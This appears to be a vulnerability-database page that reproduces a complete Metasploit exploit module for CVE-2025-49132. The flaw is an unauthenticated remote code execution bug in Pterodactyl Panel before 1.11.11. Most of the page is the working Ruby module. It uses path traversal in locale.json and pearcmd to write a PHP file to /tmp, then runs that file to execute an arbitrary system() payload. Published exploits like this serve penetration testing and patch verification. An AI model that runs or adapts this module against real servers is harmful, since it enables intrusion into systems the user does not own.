Lucene search
+L

📄 Pterodactyl Panel Remote Code Execution

🗓️ 28 Jul 2026 00:00:00Reported by jheysel-r7, 0xtenshoType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 18 Views

Pterodactyl Panel before 1.11.11 allows remote code execution via locale.json path traversal.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2025-49132
12 Feb 202616:19
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
16 Feb 202612:58
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
11 Feb 202612:18
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
7 Feb 202621:36
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
25 Jun 202518:05
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
8 Feb 202612:28
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
10 Feb 202614:21
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
23 Jun 202520:51
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
11 Feb 202608:19
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2025-49132
18 Aug 202512:10
githubexploit
Rows per page
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Pterodactyl Panel CVE-2025-49132 Remote Code Execution',
            'Description' => %q{
              This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated
              remote code execution through improper handling of locale file operations. The vulnerability
              exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution
              is in the context of the user running the webserver.
    
              The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a
              malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd.
            },
            'Author' => [
              '0xtensho', # Original PoC
              'jheysel-r7', # MSF Module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49132'],
              ['URL', 'https://github.com/0xtensho/CVE-2025-49132-poc']
            ],
            'Platform' => %w[unix linux],
            'Targets' => [
              [
                'Command Payload',
                {
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                }
              ]
            ],
            'Payload' => {
              'BadChars' => "\x20\x27",
              'EncoderType' => Msf::Encoder::Type::CmdPosixBase64
            },
            'DisclosureDate' => '2025-06-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => []
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl instance', '/']),
            OptString.new('UPLOAD_DIR', [false, 'Upload directory (defaults to the default webroot in the docker instance)', '/tmp']),
            OptString.new('TRAVERSAL_PATH', [false, 'Traversal path (defaults to the default install location of php in the )', '/usr/local/lib/php']),
            OptInt.new('TRAVERSAL_DEPTH', [false, 'Number of ../ segments to use during path traversal (default: 5)', 5]),
          ]
        )
      end
    
      def check
        # Try to detect the vulnerability by attempting a benign path traversal - this will not be accessible from a patched version
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json?locale=../../&namespace=config/app')
        )
    
        if res&.code == 200
          json = res&.get_json_document
    
          if json.nil? || json.empty?
            return CheckCode::Unknown('Response did not contain a valid JSON document')
          end
    
          version = json.dig('../../', 'config/app', 'version')
          return CheckCode::Unknown('Response did not contain a valid version number') unless version
    
          rex_version = Rex::Version.new(version)
    
          if rex_version < Rex::Version.new('1.11.11')
            # Usually we return Appears for a version check but this version is only obtainable through exploiting
            # the vulnerability itself, so we can be confident that if we see this version, it's vulnerable
            return CheckCode::Vulnerable("Version found: #{version}")
          else
            # This code path should not be reachable in a patched version, but it's here just in case
            return CheckCode::Safe("Version found: #{version}")
          end
    
        elsif res&.code == 403 || res&.code == 404
          # Path traversal is being blocked
          return CheckCode::Safe('Path traversal is being blocked')
        end
    
        CheckCode::Unknown('Non-200 response received, unable to determine vulnerability status')
      end
    
      def exploit
        payload_code = generate_encoded_payload
        filename = "#{Rex::Text.rand_text_alpha(10).downcase}.php"
        traversal_depth = '../' * datastore['TRAVERSAL_DEPTH']
        upload_payload(payload_code, filename, traversal_depth)
        execute_payload(filename, traversal_depth)
      end
    
      def upload_payload(payload_code, filename, traversal_depth)
        upload_dir = datastore['UPLOAD_DIR']
        payload_file = File.join(upload_dir, filename)
    
        print_status("Uploading payload file to #{payload_file}")
        traverse_path = "#{traversal_depth}#{datastore['TRAVERSAL_PATH'].sub(%r{^/}, '')}"
        first_url = build_exploit_url(traverse_path, filename, payload_code, upload_dir)
    
        print_status('Sending initial payload creation request...')
        res1 = send_request_cgi(
          'method' => 'GET',
          'uri' => first_url
        )
    
        unless res1&.code == 200
          fail_with(Failure::UnexpectedReply, "Failed to upload payload file, server responded with code: #{res1&.code || 'no response'}")
        end
    
        register_file_for_cleanup(payload_file)
        print_status("Initial request response code: #{res1.code}")
      end
    
      def execute_payload(filename, traversal_depth)
        print_status('Triggering payload execution...')
        url2 = build_execution_url(filename.sub(/\.php$/, ''), traversal_depth)
    
        res2 = send_request_cgi(
          'method' => 'GET',
          'uri' => url2
        )
    
        if res2
          print_warning('The module received a response from the server, which may indicate the payload did not execute as expected')
        end
      end
    
      def generate_encoded_payload
        "<?=system('#{payload.encoded}')?>"
      end
    
      def build_exploit_url(traverse_path, filename, payload, upload_dir)
        base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
        url = "#{base_path}?+config-create+/&locale=#{traverse_path}&namespace=pearcmd&/#{payload}+/#{upload_dir}/#{filename}"
        vprint_status("Exploit URL: #{url}")
        url
      end
    
      def build_execution_url(filename_base, traversal_depth)
        base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
        url = "#{base_path}?locale=#{traversal_depth}#{datastore['UPLOAD_DIR']}&namespace=#{filename_base}"
        vprint_status("Execution URL: #{url}")
        url
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.110
EPSS0.41137
SSVC
18